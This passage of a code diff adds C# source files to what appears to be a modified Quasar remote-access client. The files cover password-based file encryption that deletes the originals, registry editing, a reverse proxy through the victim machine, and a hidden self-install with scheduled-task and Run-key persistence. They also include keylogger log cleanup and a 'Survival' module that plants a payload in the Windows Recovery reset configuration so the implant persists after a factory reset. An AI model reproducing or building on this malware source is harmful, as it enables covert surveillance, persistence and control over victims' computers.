extensionToRemove.Length); + File.WriteAllBytes(decryptedPath, decryptedBytes); + File.Delete(filePath); + + return true; + } + catch + { + // Decryption failed - wrong key or corrupted file + return false; + } + } + + public static bool VerifyKey(string testFilePath, string password, string extension) + { + try + { + if (!File.Exists(testFilePath) || !testFilePath.EndsWith(extension)) + return false; + + byte[] fileBytes = File.ReadAllBytes(testFilePath); + + if (fileBytes.Length < 4) + return false; + + byte[] signatureBytes = new byte[4]; + Buffer.BlockCopy(fileBytes, 0, signatureBytes, 0, 4); + string signature = Encoding.ASCII.GetString(signatureBytes); + + if (signature != KEY_SIGNATURE) + return false; + + byte[] encryptedBytes = new byte[fileBytes.Length - 4]; + Buffer.BlockCopy(fileBytes, 4, encryptedBytes, 0, encryptedBytes.Length); + + // Try to decrypt - if it works, key is correct + byte[] decryptedBytes = DecryptBytes(encryptedBytes, password); + return decryptedBytes != null && decryptedBytes.Length > 0; + } + catch + { + return false; + } + } + + private static byte[] EncryptBytes(byte[] data, string password) + { + using (Aes aes = Aes.Create()) + { + aes.Key = DeriveKey(password); + aes.IV = new byte[16]; // Zero IV for simplicity + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + + using (ICryptoTransform encryptor = aes.CreateEncryptor()) + { + return encryptor.TransformFinalBlock(data, 0, data.Length); + } + } + } + + private static byte[] DecryptBytes(byte[] data, string password) + { + using (Aes aes = Aes.Create()) + { + aes.Key = DeriveKey(password); + aes.IV = new byte[16]; // Zero IV + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + + using (ICryptoTransform decryptor = aes.CreateDecryptor()) + { + return decryptor.TransformFinalBlock(data, 0, data.Length); + } + } + } + + private static byte[] DeriveKey(string password) + { + using (SHA256 sha256 = SHA256.Create()) + { + return sha256.ComputeHash(Encoding.UTF8.GetBytes(password)); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Registry/RegistryEditor.cs b/Quasar-1.4.1/Quasar.Client/Registry/RegistryEditor.cs new file mode 100755 index 0000000..0cf4272 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Registry/RegistryEditor.cs @@ -0,0 +1,399 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Models; +using System; + +namespace Quasar.Client.Registry +{ + public class RegistryEditor + { + private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; + + private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; + + private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; + + private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; + + private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; + + private const string REGISTRY_VALUE_RENAME_ERROR = "Cannot rename value: Error writing to the registry"; + + private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; + + /// + /// Attempts to create the desired sub key to the specified parent. + /// + /// The path to the parent for which to create the sub-key on. + /// output parameter that holds the name of the sub-key that was create. + /// output parameter that contains possible error message. + /// Returns true if action succeeded. + public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Key #{0}", i); + + while (parent.ContainsSubKey(testName)) + { + i++; + testName = String.Format("New Key #{0}", i); + } + name = testName; + + using (RegistryKey child = parent.CreateSubKeySafe(name)) + { + //Child could not be created + if (child == null) + { + errorMsg = REGISTRY_KEY_CREATE_ERROR; + return false; + } + } + + //Child was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired sub-key from the specified parent. + /// + /// The name of the sub-key to delete. + /// The path to the parent for which to delete the sub-key on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) + { + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(name)) + { + errorMsg = "The registry: " + name + " does not exist in: " + parentPath; + //If child does not exists then the action has already succeeded + return true; + } + + bool success = parent.DeleteSubKeyTreeSafe(name); + + //Child could not be deleted + if (!success) + { + errorMsg = REGISTRY_KEY_DELETE_ERROR; + return false; + } + + //Child was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired key. + /// + /// The name of the key to rename. + /// The name to use for renaming. + /// The path of the parent for which to rename the key. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) + { + try + { + + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(oldName)) + { + errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath; + return false; + } + + bool success = parent.RenameSubKeySafe(oldName, newName); + + //Child could not be renamed + if (!success) + { + errorMsg = REGISTRY_KEY_RENAME_ERROR; + return false; + } + + //Child was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to create the desired value for the specified parent. + /// + /// The path to the key for which to create the registry value on. + /// The type of the registry value to create. + /// output parameter that holds the name of the registry value that was create. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Value #{0}", i); + + while (key.ContainsValue(testName)) + { + i++; + testName = String.Format("New Value #{0}", i); + } + name = testName; + + bool success = key.SetValueSafe(name, kind.GetDefault(), kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CREATE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired registry value from the specified key. + /// + /// The path to the key for which to delete the registry value on. + /// /// The name of the registry value to delete. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(name)) + { + errorMsg = "The value: " + name + " does not exist in: " + keyPath; + //If value does not exists then the action has already succeeded + return true; + } + + bool success = key.DeleteValueSafe(name); + + //Value could not be deleted + if (!success) + { + errorMsg = REGISTRY_VALUE_DELETE_ERROR; + return false; + } + + //Value was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired registry value. + /// + /// The name of the registry value to rename. + /// The name to use for renaming. + /// The path of the key for which to rename the registry value. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(oldName)) + { + errorMsg = "The value: " + oldName + " does not exist in: " + keyPath; + return false; + } + + bool success = key.RenameValueSafe(oldName, newName); + + //Value could not be renamed + if (!success) + { + errorMsg = REGISTRY_VALUE_RENAME_ERROR; + return false; + } + + //Value was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to change the value for the desired registry value for the + /// specified key. + /// + /// The registry value to change to in the form of a + /// RegValueData object. + /// The path to the key for which to change the + /// value of the registry value on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Is not default value and does not exist + if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name)) + { + errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath; + return false; + } + + bool success = key.SetValueSafe(value.Name, value.Data, value.Kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CHANGE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + public static RegistryKey GetWritableRegistryKey(string keyPath) + { + RegistryKey key = RegistrySeeker.GetRootKey(keyPath); + + if (key != null) + { + //Check if this is a root key or not + if (key.Name != keyPath) + { + //Must get the subKey name by removing root and '\\' + string subKeyName = keyPath.Substring(key.Name.Length + 1); + + key = key.OpenWritableSubKeySafe(subKeyName); + } + } + + return key; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Registry/RegistrySeeker.cs b/Quasar-1.4.1/Quasar.Client/Registry/RegistrySeeker.cs new file mode 100755 index 0000000..08caba5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Registry/RegistrySeeker.cs @@ -0,0 +1,216 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; + +namespace Quasar.Client.Registry +{ + public class RegistrySeeker + { + /// + /// The list containing the matches found during the search. + /// + private readonly List _matches; + + public RegSeekerMatch[] Matches => _matches?.ToArray(); + + public RegistrySeeker() + { + _matches = new List(); + } + + public void BeginSeeking(string rootKeyName) + { + if (!String.IsNullOrEmpty(rootKeyName)) + { + using(RegistryKey root = GetRootKey(rootKeyName)) + { + //Check if this is a root key or not + if (root != null && root.Name != rootKeyName) + { + //Must get the subKey name by removing root and '\' + string subKeyName = rootKeyName.Substring(root.Name.Length + 1); + using(RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName)) + { + if(subroot != null) + Seek(subroot); + } + } + else + { + Seek(root); + } + } + } + else + { + Seek(null); + } + } + + private void Seek(RegistryKey rootKey) + { + // Get root registrys + if (rootKey == null) + { + foreach (RegistryKey key in GetRootKeys()) + //Just need root key so process it + ProcessKey(key, key.Name); + } + else + { + //searching for subkeys to root key + Search(rootKey); + } + } + + private void Search(RegistryKey rootKey) + { + string[] subKeyNames = null; + try + { + subKeyNames = rootKey.GetSubKeyNames(); + } + catch + { + // Access denied or other error - skip this key + return; + } + + // Process subkeys in batches to avoid memory issues + foreach(string subKeyName in subKeyNames) + { + try + { + using (RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName)) + { + ProcessKey(subKey, subKeyName); + } + } + catch + { + // If we can't open a specific subkey, add it as inaccessible but continue + AddMatch(subKeyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + } + } + + private void ProcessKey(RegistryKey key, string keyName) + { + if (key != null) + { + List values = new List(); + int subKeyCount = 0; + + try + { + // Get value names with error handling + string[] valueNames = key.GetValueNames(); + + // Limit the number of values we read to prevent crashes (max 100 values per key) + int maxValues = Math.Min(valueNames.Length, 100); + + for (int i = 0; i < maxValues; i++) + { + try + { + string valueName = valueNames[i]; + RegistryValueKind valueType = key.GetValueKind(valueName); + object valueData = key.GetValue(valueName); + values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData)); + } + catch + { + // Skip values that can't be read + continue; + } + } + + // Get subkey count safely + try + { + subKeyCount = key.SubKeyCount; + } + catch + { + subKeyCount = 0; + } + } + catch + { + // If we can't read values, just add the key with default values + } + + AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), subKeyCount); + } + else + { + AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + } + + private void AddMatch(string key, RegValueData[] values, int subkeycount) + { + RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0}; + + _matches.Add(match); + } + + public static RegistryKey GetRootKey(string subkeyFullPath) + { + string[] path = subkeyFullPath.Split('\\'); + try + { + switch (path[0]) // <== root; + { + case "HKEY_CLASSES_ROOT": + return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64); + case "HKEY_CURRENT_USER": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64); + case "HKEY_LOCAL_MACHINE": + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + case "HKEY_USERS": + return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64); + case "HKEY_CURRENT_CONFIG": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64); + default: + /* If none of the above then the key must be invalid */ + throw new Exception("Invalid rootkey, could not be found."); + } + } + catch (SystemException) + { + throw new Exception("Unable to open root registry key, you do not have the needed permissions."); + } + catch(Exception e) + { + throw e; + } + } + + public static List GetRootKeys() + { + List rootKeys = new List(); + try + { + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64)); + } + catch (SystemException) + { + throw new Exception("Could not open root registry keys, you may not have the needed permission"); + } + catch (Exception e) + { + throw e; + } + + return rootKeys; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/ReverseProxy/ReverseProxyClient.cs b/Quasar-1.4.1/Quasar.Client/ReverseProxy/ReverseProxyClient.cs new file mode 100755 index 0000000..d576268 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,145 @@ +using Quasar.Common.Messages.ReverseProxy; +using System; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Client.ReverseProxy +{ + public class ReverseProxyClient + { + public const int BUFFER_SIZE = 8192; + + public int ConnectionId { get; private set; } + public Socket Handle { get; private set; } + public string Target { get; private set; } + public int Port { get; private set; } + public Networking.Client Client { get; private set; } + private byte[] _buffer; + private bool _disconnectIsSend; + + public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client) + { + this.ConnectionId = command.ConnectionId; + this.Target = command.Target; + this.Port = command.Port; + this.Client = client; + this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + + //Non-Blocking connect, so there is no need for a extra thread to create + this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null); + } + + private void Handle_Connect(IAsyncResult ar) + { + try + { + this.Handle.EndConnect(ar); + } + catch { } + + if (this.Handle.Connected) + { + try + { + this._buffer = new byte[BUFFER_SIZE]; + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + Disconnect(); + } + + IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = true, + LocalAddress = localEndPoint.Address.GetAddressBytes(), + LocalPort = localEndPoint.Port, + HostName = Target + }); + } + else + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + } + } + + private void AsyncReceive(IAsyncResult ar) + { + //Receive here data from e.g. a WebServer + + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload}); + } + catch + { + Disconnect(); + return; + } + + try + { + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Disconnect(); + return; + } + } + + public void Disconnect() + { + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId}); + } + + try + { + Handle.Close(); + } + catch { } + + Client.RemoveProxyClient(this.ConnectionId); + } + + public void SendToTargetServer(byte[] data) + { + try + { + Handle.Send(data); + } + catch { Disconnect(); } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientInstaller.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientInstaller.cs new file mode 100755 index 0000000..a6d929c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientInstaller.cs @@ -0,0 +1,102 @@ +using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientInstaller : ClientSetupBase + { + public void ApplySettings() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY); + } + + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } + + // delete existing file + if (File.Exists(Settings.INSTALLPATH)) + { + try + { + File.Delete(Settings.INSTALLPATH); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process running at destination path + Process[] foundProcesses = + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + // dont kill own process + if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue; + prc.Kill(); + Thread.Sleep(2000); + break; + } + } + } + } + + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); + + ApplySettings(); + + FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); + + //start file + var startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false, + FileName = Settings.INSTALLPATH + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientSetupBase.cs new file mode 100755 index 0000000..ea84bc2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +using Quasar.Client.User; + +namespace Quasar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientStartup.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientStartup.cs new file mode 100755 index 0000000..8774ace --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientStartup.cs @@ -0,0 +1,52 @@ +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using System.Diagnostics; + +namespace Quasar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + public void RemoveFromStartup(string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientUninstaller.cs new file mode 100755 index 0000000..364b94d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientUninstaller.cs @@ -0,0 +1,52 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUninstaller : ClientSetupBase + { + public void Uninstall() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + + if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH)) + { + // this must match the keylogger log files + Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$"); + + foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly) + .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList()) + { + try + { + File.Delete(logFile); + } + catch (Exception) + { + // no important exception + } + } + } + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Setup/ClientUpdater.cs b/Quasar-1.4.1/Quasar.Client/Setup/ClientUpdater.cs new file mode 100755 index 0000000..3141724 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Setup/ClientUpdater.cs @@ -0,0 +1,38 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUpdater : ClientSetupBase + { + public void Update(string newFilePath) + { + FileHelper.DeleteZoneIdentifier(newFilePath); + + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); + + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Survival/RSFuncs.cs b/Quasar-1.4.1/Quasar.Client/Survival/RSFuncs.cs new file mode 100755 index 0000000..124ac63 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Survival/RSFuncs.cs @@ -0,0 +1,325 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Xml.Linq; + +namespace Quasar.Client.Survival +{ + internal class RSFuncs + { + private static readonly Random random = new Random(); + private static readonly string SystemDrive = Path.GetPathRoot(Environment.SystemDirectory); + private static readonly string OEMPath = Path.Combine(RSFuncs.SystemDrive, "Recovery", "OEM"); + private static readonly string OEMDataBackupPath = Path.Combine(RSFuncs.OEMPath, "XRSBackupData"); + private static readonly string ResetConfigPath = Path.Combine(RSFuncs.OEMPath, "ResetConfig.xml"); + private static ISender _client; + + private static string GenerateRandomString(int length) + { + return new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", length).Select((Func)(s => s[RSFuncs.random.Next(s.Length)])).ToArray()); + } + + private static void SendLog(string logtype, string log) + { + RSFuncs._client.Send(new NewSurvivalLog + { + Log = log, + LogType = logtype + }); + } + + public static bool CreateEnvironment() + { + if (!Directory.Exists(RSFuncs.OEMPath)) + { + try + { + Directory.CreateDirectory(RSFuncs.OEMPath); + } + catch (Exception ex) + { + RSFuncs.SendLog("error", ex.Message); + return false; + } + } + if (Directory.Exists(RSFuncs.OEMDataBackupPath)) + return false; + Directory.CreateDirectory(RSFuncs.OEMDataBackupPath); + return true; + } + + public static void InstallFile(ISender client, byte[] fileBytes, string extension) + { + RSFuncs._client = client; + if (RSFuncs.CreateEnvironment()) + RSFuncs.SendLog("success", "Invalid file bytes or file extension"); + else + RSFuncs.SendLog("error", "Already Installed!"); + List stringList = new List(); + string path2 = RSFuncs.GenerateRandomString(20) + extension; + stringList.Add(path2); + try + { + File.WriteAllBytes(Path.Combine(RSFuncs.OEMPath, path2), fileBytes); + } + catch + { + RSFuncs.SendLog("error", "No access!"); + return; + } + RSFuncs.SendLog("success", "Stub successfully written"); + string payload = RSFuncs.CreatePayload("cmd /c %TARGETOSDRIVE%\\Recovery\\OEM\\" + path2, false); + string basicResetFileName = RSFuncs.GenerateRandomString(20) + ".bat"; + string factoryResetFileName = RSFuncs.GenerateRandomString(20) + ".bat"; + if (RSFuncs.BackupCurrentConfig(basicResetFileName, factoryResetFileName, stringList.ToArray())) + RSFuncs.SendLog("success", "Successfully backed up current config"); + else + RSFuncs.SendLog("error", "Error backing up current config"); + RSFuncs.CreateOrUpdateResetConfig(basicResetFileName, factoryResetFileName, payload); + RSFuncs.SendLog("complete", "Successfully Installed!"); + } + + private static string CreatePayload(string command, bool UseEscaped = true) + { + string randomString = RSFuncs.GenerateRandomString(20); + string str = !UseEscaped ? command : command.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&").Replace("|", "^|").Replace("<", "^<").Replace(">", "^>").Replace("\"", "\"\""); + return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%A\r\n\r\nreg load HKLM\\" + randomString + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + randomString + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + randomString + " /t REG_SZ /d \"" + str + "\"\r\n\r\nreg unload HKLM\\" + randomString + "\r\n\r\n\r\n"; + } + + private static bool BackupCurrentConfig( + string basicResetFileName, + string factoryResetFileName, + string[] additionalDeletes = null) + { + List contents = new List() + { + basicResetFileName, + factoryResetFileName + }; + if (additionalDeletes != null) + contents.AddRange((IEnumerable)additionalDeletes); + try + { + File.WriteAllLines(Path.Combine(RSFuncs.OEMDataBackupPath, "DELETEME"), (IEnumerable)contents); + } + catch + { + return false; + } + if (File.Exists(RSFuncs.ResetConfigPath)) + { + try + { + File.Copy(RSFuncs.ResetConfigPath, Path.Combine(RSFuncs.OEMDataBackupPath, "configBackup"), true); + } + catch + { + return false; + } + } + return true; + } + + private static void CreateOrUpdateResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + if (!File.Exists(RSFuncs.ResetConfigPath)) + RSFuncs.CreateNewResetConfig(basicResetFileName, factoryResetFileName, payload); + else + RSFuncs.UpdateExistingResetConfig(basicResetFileName, factoryResetFileName, payload); + } + + private static void CreateNewResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + new XDocument(new XDeclaration("1.0", "utf-8", (string)null), new object[1] + { + (object) new XElement((XName) "Reset", new object[2] + { + (object) RSFuncs.CreateRunElement("BasicReset_AfterImageApply", basicResetFileName, 1), + (object) RSFuncs.CreateRunElement("FactoryReset_AfterImageApply", factoryResetFileName, 1) + }) + }).Save(RSFuncs.ResetConfigPath); + RSFuncs.SaveScriptFile(basicResetFileName, payload); + RSFuncs.SaveScriptFile(factoryResetFileName, payload); + } + + private static void UpdateExistingResetConfig( + string basicResetFileName, + string 